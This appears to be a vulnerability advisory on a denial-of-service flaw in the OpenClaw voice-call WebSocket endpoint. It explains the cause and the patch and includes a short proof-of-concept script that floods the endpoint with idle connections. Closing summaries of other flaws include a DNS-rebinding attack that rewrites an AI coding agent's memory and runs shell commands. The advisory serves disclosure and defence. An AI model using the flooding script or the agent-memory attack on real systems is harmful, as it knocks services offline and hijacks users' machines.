Mar 3, 2026·5 min read·28 visits
Unauthenticated attackers can exhaust server resources by opening thousands of WebSocket connections to the OpenClaw voice stream endpoint without initiating a session. Patched in version 2026.2.22.
A resource exhaustion vulnerability exists in the `@openclaw/voice-call` package, a core component of the OpenClaw telephony platform. The vulnerability arises from an improper implementation of the WebSocket protocol upgrade mechanism, specifically an "Upgrade-First, Validate-Later" design pattern. By allowing an unlimited number of unauthenticated WebSocket connections to remain in an idle "pre-start" state indefinitely, remote attackers can consume available file descriptors and memory, leading to a Denial of Service (DoS) for legitimate voice services.
The OpenClaw platform utilizes the @openclaw/voice-call package to handle real-time media streaming via WebSockets. This component is responsible for accepting incoming audio streams for voice calls. In versions prior to 2026.2.22, the MediaStreamHandler class exposed a critical flaw in its connection lifecycle management.
The vulnerability is classified as a Resource Exhaustion Denial of Service (CWE-400). It exploits the disparity between the cost of establishing a WebSocket connection and the server's failure to enforce resource limits on connections that have completed the HTTP upgrade handshake but have not yet authenticated or begun transmitting data. Because the server allocated resources (memory buffers, file descriptors, and event loop cycles) immediately upon connection upgrade—rather than deferring allocation until after validation—the application was susceptible to trivial flooding attacks.
The root cause is a logic error in the WebSocket handshake process, specifically the lack of an idle timeout for "pre-start" connections. The normal lifecycle of an OpenClaw media stream is:
/voice/stream.start event containing metadata and authentication tokens.start event and begins processing audio.In the vulnerable implementation, the server enforced no time limit between Step 2 and Step 3. An attacker could complete Step 2 and simply hang the connection. The MediaStreamHandler would maintain the socket in memory indefinitely, waiting for a start event that never arrives. Furthermore, there were no global or per-IP limits on the number of these "pending" connections, allowing a single attacker to saturate the Node.js process's concurrent connection pool.
The patch introduced in version 2026.2.22 implements a strict state machine with timeouts. Below is a reconstruction of the remediation logic applied to the MediaStreamHandler.
Vulnerable Logic (Conceptual):
// The server upgrades the connection and simply waits for events.
// No timers are set to ensure the client actually sends data.
wss.on('connection', (ws) => {
ws.on('message', (message) => {
const event = JSON.parse(message);
if (event.type === 'start') {
// Validation happens here, too late in the lifecycle
validateAndStartStream(ws, event);
}
});
});Patched Logic:
The fix introduces a preStartTimeout and a pendingConnections counter. The server now tracks sockets that have upgraded but not yet sent the start frame.
// New configuration parameters
const PRE_START_TIMEOUT = 5000; // 5 seconds
const MAX_PENDING = 32;
wss.on('connection', (ws, req) => {
// 1. Check Global Limits
if (this.pendingConnections.size >= MAX_PENDING) {
ws.close(503, 'Server Busy');
return;
}
// 2. Track this pending connection
this.pendingConnections.add(ws);
// 3. Set a "Time to Live" for the pre-start state
const timeout = setTimeout(() => {
if (!ws.isStarted) {
// Force close if 'start' event not received in 5s
ws.close(1008, 'Start timeout');
this.pendingConnections.delete(ws);
}
}, PRE_START_TIMEOUT);
ws.on('message', (message) => {
// If valid 'start' received, clear timeout and move to active state
if (isValidStart(message)) {
clearTimeout(timeout);
this.pendingConnections.delete(ws);
// ... proceed with stream ...
}
});
});This creates a "use it or lose it" policy for network resources. If a client does not authenticate within 5 seconds, the server aggressively reclaims the resources.
Exploiting this vulnerability requires no authentication and can be performed with standard network tools or simple scripts. The attacker targets the WebSocket endpoint (default /voice/stream).
Attack Steps:
A Proof-of-Concept (PoC) script would look like this using the ws library:
const WebSocket = require('ws');
const target = 'ws://vulnerable-openclaw.local/voice/stream';
const sockets = [];
// Open 5000 idle connections
for (let i = 0; i < 5000; i++) {
const ws = new WebSocket(target);
ws.on('open', () => {
console.log(`Socket ${i} open and holding...`);
// Intentionally DO NOT send 'start' event
});
sockets.push(ws);
}The impact is strictly limited to Availability. There is no risk to Confidentiality or Integrity, as the attacker cannot read existing stream data or inject audio into other calls without valid session tokens.
However, the availability impact is High.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@openclaw/voice-call OpenClaw | <= 2026.2.21 | 2026.2.22 |
openclaw OpenClaw | <= 2026.2.21 | 2026.2.22 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| CVSS | 6.6 (Medium) |
| Attack Vector | Network |
| Authentication | None Required |
| Exploit Maturity | PoC Available |
| Patch Status | Released (2026-02-23) |
Code16 Sharp versions from 9.0.0 up to (but not including) 9.22.3 are vulnerable to a missing authorization flaw in the Quick Creation Command feature. The ApiEntityListQuickCreationCommandController fails to validate entity-level 'create' policies before returning administrative form designs or processing database modifications. Authenticated users with restricted access can bypass policy boundaries to access creation configurations and insert records.
CVE-2026-49471 is a high-severity security vulnerability in Serena, an AI-assisted coding Model Context Protocol (MCP) toolkit. In versions prior to v1.5.2, Serena's built-in web dashboard exposes an unauthenticated Flask API on a predictable port. Lacking host validation and CSRF protections, this endpoint is vulnerable to DNS Rebinding. An attacker can lure a user to a malicious webpage, bypass the Same-Origin Policy (SOP), rewrite the AI agent's persistent memory, and execute arbitrary commands on the host operating system via the autonomous agent's shell execution engine.
The trapster honeypot package is vulnerable to a remote denial of service (DoS) vulnerability due to uncontrolled recursion during the parsing of malformed DNS compression pointers in the decode_labels function.
A critical Use-After-Free (UAF) memory corruption vulnerability exists in the oneringbuf Rust crate prior to version 0.8.0. The vulnerability allows safe Rust code to instantiate and clone reference wrappers that point to heap-allocated ring buffers. Dropping one wrapper prematurely reclaims the backing memory, leading to dangling pointer references and subsequent Use-After-Free or Double Free states.
Januscape (CVE-2026-53359) is a critical Use-After-Free vulnerability in the x86 Shadow MMU component of the Linux Kernel's KVM subsystem. A logic error in shadow page tracking permits unauthorized page reuse without validating architectural execution roles, leading to dangling pointers in reverse mapping (rmap) tracking entries during guest memory teardown.
CVE-2026-48282 is a critical unauthenticated path traversal and arbitrary file write vulnerability in the Remote Development Services (RDS) component of Adobe ColdFusion. The vulnerability allows a remote, unauthenticated attacker to bypass directory boundaries and write arbitrary files, including CFML-based web shells, onto the host server. This flaw is actively exploited in the wild and enables full unauthenticated remote code execution under the privileges of the ColdFusion service account.